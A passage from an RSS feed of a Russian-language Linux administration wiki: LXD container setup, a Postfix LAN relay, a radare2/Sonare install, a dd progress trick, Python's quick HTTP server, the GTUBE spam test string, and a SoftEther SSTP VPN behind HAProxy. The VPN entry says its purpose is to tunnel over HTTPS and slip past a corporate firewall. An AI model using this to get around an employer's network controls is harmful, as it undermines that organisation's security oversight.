&lt;p&gt;
Например:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config device add centos8 RPMS disk source=~/Downloads/RPMS path=/tmp/rpms&lt;/pre&gt;

&lt;p&gt;
Подключить к инстансу сеть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc network list
sudo lxc network attach lxdbr0 centos8
lxc config device set centos8 eth0 ipv4.address 10.208.99.2&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;файл_настроек_lxd_в_snap&quot;&gt;Файл настроек LXD в Snap&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Собственно файлы устанавливаются в &lt;strong&gt;/snap/lxd/current/&lt;/strong&gt;. &lt;br/&gt;

Исполняемые файлы лежат в &lt;strong&gt;/snap/lxd/current/bin/&lt;/strong&gt;. &lt;br/&gt;

Конфигурационные файлы лежат в &lt;strong&gt;/var/snap/lxd/common/&lt;/strong&gt;. &lt;br/&gt;

Настройки контейнеров и их файловые системы - в &lt;strong&gt;/var/snap/lxd/common/lxd/containers/&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0424\u0430\u0439\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a LXD \u0432 Snap&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0444\u0430\u0439\u043b_\u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a_lxd_\u0432_snap&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1393-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 31 May 2023 14:25:51 +0000</pubDate>
        </item>
        <item>
            <title>setup_postfix_for_php_mailing_though_relay</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_postfix_for_php_mailing_though_relay</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня есть почтовый сервачок поднятый скриптами &lt;strong&gt;iredmail&lt;/strong&gt; и мне нужно разрешить хостам из локальной сети посылать почту без авторизации.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-277&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;278-306&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;разрешаем_postfix_отправлять_почту_из_локальной_сети_без_авторизации&quot;&gt;Разрешаем postfix отправлять почту из локальной сети без авторизации&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
На почтовом сервере &lt;strong&gt;postfix&lt;/strong&gt; редактируем файлик &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt; и в параметре &lt;strong&gt;smtpd_sender_restrictions&lt;/strong&gt; добавляем значение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smtpd_sender_restrictions = check_sender_access pcre:/etc/postfix/sender_access.pcre, ...&lt;/pre&gt;

&lt;p&gt;
А потом создаем файлик &lt;strong&gt;/etc/postfix/sender_access.pcre&lt;/strong&gt; в котором прописываем правило:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/^192\.168\.1\./   OK&lt;/pre&gt;

&lt;p&gt;
И перезапускаем &lt;strong&gt;postfix&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service postfix restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c postfix \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0447\u0442\u0443 \u0438\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c_postfix_\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c_\u043f\u043e\u0447\u0442\u0443_\u0438\u0437_\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439_\u0441\u0435\u0442\u0438_\u0431\u0435\u0437_\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;307-972&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;на_хосте_локальной_сети_с_которого_мы_будем_отправлять_почту&quot;&gt;На хосте локальной сети с которого мы будем отправлять почту&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install postfix mailutils&lt;/pre&gt;

&lt;p&gt;
При установке указываем тип хоста - &lt;strong&gt;Satellite system&lt;/strong&gt; и в качестве почтового домена указываем свой домен. &lt;br/&gt;

В файлике &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt; прописываем путь к файлу &lt;strong&gt;/etc/postfix/generic&lt;/strong&gt;, в котором будут храниться соответствия имен пользователей адресам почты, которые попадут в поле &lt;strong&gt;from&lt;/strong&gt; и &lt;strong&gt;relayhost&lt;/strong&gt;. Это нужно для того, чтобы вышестоящий релей без проблем пропустил письма у которых в после @ будет стоять, вероятно, несуществующий домен машины с которой мы отсылаем почту.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;smtp_generic_maps = hash:/etc/postfix/generic
relayhost = mx.yourdomain.com&lt;/pre&gt;

&lt;p&gt;
Файлик &lt;strong&gt;/etc/postfix/generic&lt;/strong&gt; заполняем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;www-data yourusername@yourdomain.com&amp;#039; &amp;gt;&amp;gt; /etc/postfix/generic&lt;/pre&gt;

&lt;p&gt;
Потом включаем его в базу настроек &lt;strong&gt;postfix&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postmap /etc/postfix/generic&lt;/pre&gt;

&lt;p&gt;
Файлик  &lt;strong&gt;/etc/aliases&lt;/strong&gt; хранит соответствия локальных пользователей и адресов получателей/отправителей. То есть, например, без этого файлика сервис &lt;strong&gt;mdadm&lt;/strong&gt;, увидев, что развалился массив захочет оповестить пользователя &lt;strong&gt;root&lt;/strong&gt; от имени &lt;strong&gt;root&lt;/strong&gt; и подставит в поле &lt;strong&gt;from&lt;/strong&gt; и в поле &lt;strong&gt;to&lt;/strong&gt; адрес &lt;strong&gt;root@localhost.localdomain&lt;/strong&gt;. В результате письмо никуда не дойдет. Поэтому редактируем &lt;strong&gt;/etc/aliases&lt;/strong&gt; и пишем там так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;login:mailaddr@domain&lt;/pre&gt;

&lt;p&gt;
А затем оповещаем &lt;strong&gt;postfix&lt;/strong&gt; о наличии новых  алиасов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;newaliases&lt;/pre&gt;

&lt;p&gt;
и рестартуем &lt;strong&gt;postfix&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service postfix restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430 \u0445\u043e\u0441\u0442\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0447\u0442\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430_\u0445\u043e\u0441\u0442\u0435_\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439_\u0441\u0435\u0442\u0438_\u0441_\u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e_\u043c\u044b_\u0431\u0443\u0434\u0435\u043c_\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c_\u043f\u043e\u0447\u0442\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;973-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>setup_sonare_qt_disassembler_in_ubuntu_16.04</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_sonare_qt_disassembler_in_ubuntu_16.04</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/sapir/sonare&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/sapir/sonare&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/sapir/sonare&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir ~/sonare
cd ~/sonare/
git clone https://github.com/radare/radare2
cd radare2/
sudo sys/install.sh

cd ~/sonare/
git clone https://github.com/radare/radare2-r2pipe
cd radare2-r2pipe/python
python setup.py build
sudo python setup.py install

cd ~/sonare/radare2/shlr/capstone/bindings/python
sudo python setup.py build
sudo python setup.py install


sudo apt-get install python-networkx python-mako python-sortedcontainers libqt5core5a

apt-get download python-pyqt5
dpkg-deb -x ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64.deb ./python-pyqt5_tmp
dpkg-deb --control ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64.deb ./python-pyqt5_tmp/DEBIAN
sed -i &amp;#039;s/qtbase-abi-5-5-1/libqt5core5a/&amp;#039; ./python-pyqt5_tmp/DEBIAN/control
dpkg -b ./python-pyqt5_tmp/ python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64_patched.deb 
sudo apt-get install ./python-pyqt5_5.5.1+dfsg-3ubuntu4_amd64_patched.deb
sudo apt-get install python-pyqt5.qtwebkit
&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>simplest_progress_bar_for_dd_command</title>
            <link>https://wiki.autosys.tk/linux_faq/simplest_progress_bar_for_dd_command</link>
            <description>
&lt;p&gt;
Самый просто вариант наблюдения за состоянием dd после запуска:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sdd of=/dev/null bs=16384 &amp;amp; watch kill -USR1 $! &amp;amp;&amp;gt; /dev/null&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>simple_http_server_using_python</title>
            <link>https://wiki.autosys.tk/linux_faq/simple_http_server_using_python</link>
            <description>
&lt;p&gt;
Иногда бывает нужно быстро организовать на хосте linux сервер для непостоянного доступа к файлам хоста из недружественных систем, где невозможно использовать &lt;strong&gt;scp, rsync, etc…&lt;/strong&gt; (например windows). &lt;br/&gt;

Поднимать “промышленный” &lt;strong&gt;&lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt;/HTTP/Samba&lt;/strong&gt; сервер ради пары файлов бессмысленно. &lt;br/&gt;

На помощь приходит &lt;strong&gt;python&lt;/strong&gt; и его модуль &lt;strong&gt;SimpleHTTPServer&lt;/strong&gt;. Он позволяет в одну команду организовать HTTP сервер с корневой директорией в текущей директории:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python -m SimpleHTTPServer 8000&lt;/pre&gt;

&lt;p&gt;
В python3 этот модуль переименовали:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python3 -m http.server 8000&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 18 Nov 2022 10:37:58 +0000</pubDate>
        </item>
        <item>
            <title>simulate_spam</title>
            <link>https://wiki.autosys.tk/linux_faq/simulate_spam</link>
            <description>
&lt;p&gt;
Чтобы сымитировать спам достаточно отправить письмо со строкой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 23 Apr 2022 09:07:59 +0000</pubDate>
        </item>
        <item>
            <title>softether_ubuntu_16.04</title>
            <link>https://wiki.autosys.tk/linux_faq/softether_ubuntu_16.04</link>
            <description>
&lt;p&gt;
Мне понадобился &lt;strong&gt;VPN&lt;/strong&gt;, работающий поверх &lt;strong&gt;HTTPS&lt;/strong&gt;, чтобы его можно было протащить через корпоративный &lt;strong&gt;firewall&lt;/strong&gt;. Одним из вариантов реализации такого &lt;strong&gt;VPN&lt;/strong&gt; является &lt;strong&gt;SSTP&lt;/strong&gt;, однако это разработка &lt;strong&gt;Microsoft&lt;/strong&gt; и свободных реализаций до недавнего времени не было. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/sorz/sstp-server&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/sorz/sstp-server&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/sorz/sstp-server&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-setup-a-multi-protocol-vpn-server-using-softether&quot; class=&quot;urlextern&quot; title=&quot;https://www.digitalocean.com/community/tutorials/how-to-setup-a-multi-protocol-vpn-server-using-softether&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-setup-a-multi-protocol-vpn-server-using-softether&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://habrahabr.ru/post/211136/&quot; class=&quot;urlextern&quot; title=&quot;https://habrahabr.ru/post/211136/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habrahabr.ru/post/211136/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://www.prianichnikov.info/2015/06/softether-vpn-debian.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.prianichnikov.info/2015/06/softether-vpn-debian.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.prianichnikov.info/2015/06/softether-vpn-debian.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://linuxconfig.org/setting-up-softether-vpn-server-on-ubuntu-16-04-xenial-xerus-linux&quot; class=&quot;urlextern&quot; title=&quot;https://linuxconfig.org/setting-up-softether-vpn-server-on-ubuntu-16-04-xenial-xerus-linux&quot; rel=&quot;ugc nofollow&quot;&gt;https://linuxconfig.org/setting-up-softether-vpn-server-on-ubuntu-16-04-xenial-xerus-linux&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;сервер_sstp_на_базе_ubuntu_softether&quot;&gt;Сервер SSTP на базе Ubuntu + SoftEther&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.softether.org&quot; class=&quot;urlextern&quot; title=&quot;http://www.softether.org&quot; rel=&quot;ugc nofollow&quot;&gt;Softether&lt;/a&gt; - это мультиплатформенный, мультипротокольный &lt;strong&gt;VPN&lt;/strong&gt;-сервер. Моя задача - поднять на базе него &lt;strong&gt;SSTP VPN&lt;/strong&gt;-сервер (для того, чтобы выбраться из-под гнёта корпоративного файервола имя которому - &lt;strong&gt;ironport&lt;/strong&gt;). 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0435\u0440\u0432\u0435\u0440 SSTP \u043d\u0430 \u0431\u0430\u0437\u0435 Ubuntu + SoftEther&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0435\u0440\u0432\u0435\u0440_sstp_\u043d\u0430_\u0431\u0430\u0437\u0435_ubuntu_softether&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;802-1260&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;sstp_за_haproxy_с_sni&quot;&gt;SSTP за Haproxy с SNI&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В моем случае, сам сервер &lt;strong&gt;Softether&lt;/strong&gt; находится за &lt;strong&gt;NAT&lt;/strong&gt; и &lt;strong&gt;HAproxy&lt;/strong&gt;. То есть на роутере прокинут (mapping) порт &lt;strong&gt;443&lt;/strong&gt; на &lt;strong&gt;lxc&lt;/strong&gt;-контейнер с &lt;strong&gt;HAProxy&lt;/strong&gt;, на котором, в свою очередь, настроен проброс &lt;strong&gt;HTTPS&lt;/strong&gt; траффика по &lt;strong&gt;SNI&lt;/strong&gt; (mode tcp) на контейнер с &lt;strong&gt;SoftEther&lt;/strong&gt;. Фактически, &lt;strong&gt;HAProxy&lt;/strong&gt; еще раз мапит порт 443. &lt;br/&gt;

Эта конфигурация позволяет держать на одном хосте и несколько &lt;strong&gt;HTTPS&lt;/strong&gt;-сайтов (каждый со своим сертификатом), а также &lt;strong&gt;SoftEther&lt;/strong&gt;. При этом, каждый сервис работает в собственном независимом &lt;strong&gt;lxc&lt;/strong&gt;-контейнере. &lt;br/&gt;

Нужно учитывать, что &lt;strong&gt;SNI&lt;/strong&gt; присутсвует не в в каждом пакете &lt;strong&gt;SSTP&lt;/strong&gt;-трафика. Поэтому через &lt;strong&gt;HAProxy&lt;/strong&gt; с &lt;strong&gt;SNI&lt;/strong&gt; трафик &lt;strong&gt;SSTP&lt;/strong&gt; будет нормально проходить только когда контейнер указан в качестве &lt;strong&gt;default_backend&lt;/strong&gt;, либо будет использоватьться конфигурация, &lt;a href=&quot;https://serverfault.com/questions/919729/haproxy-cfg-syntax-how-to-recognise-sstp-other-than-by-sni&quot; class=&quot;urlextern&quot; title=&quot;https://serverfault.com/questions/919729/haproxy-cfg-syntax-how-to-recognise-sstp-other-than-by-sni&quot; rel=&quot;ugc nofollow&quot;&gt; описанная тут&lt;/a&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;frontend  main 192.168.0.3:443 ssl
    tcp-request inspect-delay 5s
    tcp-request content accept if { req.ssl_hello_type }
    use_backend websites if { req_ssl_sni -m found }
    default_backend          sstp&lt;/pre&gt;

&lt;p&gt;
То есть, выполняется проверка наличия &lt;strong&gt;SNI&lt;/strong&gt; и если он есть, то трафик направляется на Web-сервер, а если нет, то на сервер &lt;strong&gt;SSTP&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSTP \u0437\u0430 Haproxy \u0441 SNI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sstp_\u0437\u0430_haproxy_\u0441_sni&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1261-3155&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;устанавливаем_сервер&quot;&gt;Устанавливаем сервер&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Дистрибутив актуален на ноябрь 2017. Новые версии - &lt;a href=&quot;http://www.softether-download.com/en.aspx?product=softether&quot; class=&quot;urlextern&quot; title=&quot;http://www.softether-download.com/en.aspx?product=softether&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.softether-download.com/en.aspx?product=softether&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade -y &amp;amp;&amp;amp; sudo apt-get install wget nano build-essential -y
wget http://www.softether-download.com/files/softether/v4.24-9651-beta-2017.10.23-tree/Linux/SoftEther_VPN_Server/64bit_-_Intel_x64_or_AMD64/softether-vpnserver-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
tar -xvf ./softether-vpnserver-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
cd vpnserver/
echo -e &amp;quot;1\n1\n1\n&amp;quot; | make&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_\u0441\u0435\u0440\u0432\u0435\u0440&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3156-3800&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit4&quot; id=&quot;запуск_в_виде_сервиса_systemd&quot;&gt;Запуск в виде сервиса systemd&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Создаем файлик &lt;strong&gt;/lib/systemd/system/vpnserver.service&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=SoftEther VPN Server
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/vpnserver/vpnserver start
ExecStop=/usr/local/vpnserver/vpnserver stop

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
Включаем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl enable vpnserver                                                                                                                                                                                                                       &lt;/pre&gt;

&lt;p&gt;
Запускаем:                                                                                                                                                                                                                           
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service vpnserver start                                                                                                                                                                                                                          &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a \u0432 \u0432\u0438\u0434\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 systemd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a_\u0432_\u0432\u0438\u0434\u0435_\u0441\u0435\u0440\u0432\u0438\u0441\u0430_systemd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3801-4927&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;администрирование_сервера&quot;&gt;Администрирование сервера&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для администрирования сервера в комплект входит утилита &lt;strong&gt;vpncmd&lt;/strong&gt;. Она позволяет администрировать как локальный, так и удаленный сервер. Также есть &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;, но он под &lt;strong&gt;Windows&lt;/strong&gt; и под &lt;strong&gt;wine&lt;/strong&gt; у меня не заработал.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./vpncmd&lt;/pre&gt;

&lt;p&gt;
Во-первых нужно установить административный пароль:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ServerPasswordSet&lt;/pre&gt;

&lt;p&gt;
Полный список доступных команд можно увидеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; help
 &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4928-5582&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;настройка_sstp&quot;&gt;Настройка SSTP&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Включаем &lt;strong&gt;SSTP&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SstpEnable yes&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 SSTP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_sstp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;5583-5662&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;импорт_сертификата_сервера&quot;&gt;Импорт сертификата сервера&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Для работы &lt;strong&gt;SSTP&lt;/strong&gt; нужен сертификат. Его может сгенерировать сам &lt;strong&gt;SoftEther&lt;/strong&gt;, но я предпочитаю использовать нормальные сертификаты &lt;a href=&quot;https://letsencrypt.org/&quot; class=&quot;urlextern&quot; title=&quot;https://letsencrypt.org/&quot; rel=&quot;ugc nofollow&quot;&gt;Let&amp;#039;s Encrypt&lt;/a&gt;. Я их получаю так: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/lets_encrypt_certificates_on_ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:lets_encrypt_certificates_on_ubuntu&quot; data-wiki-id=&quot;linux_faq:lets_encrypt_certificates_on_ubuntu&quot;&gt;Сертификаты Let&amp;#039;s Encrypt&lt;/a&gt; &lt;br/&gt;

Для того, чтобы подсунуть сертификат в &lt;strong&gt;SoftEther&lt;/strong&gt; есть команда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ServerCertSet&lt;/pre&gt;

&lt;p&gt;
при её выполнении нужно указать путь к сертификату и закрытому ключу. В случае с &lt;strong&gt;let&amp;#039;s encrypt&lt;/strong&gt; это &lt;strong&gt;/etc/letsencrypt/live/your.domain.com/fullchain.pem&lt;/strong&gt; и &lt;strong&gt;/etc/letsencrypt/live/your.domain.com/privkey.pem&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043c\u043f\u043e\u0440\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043c\u043f\u043e\u0440\u0442_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430_\u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;5663-6530&amp;quot;} --&gt;
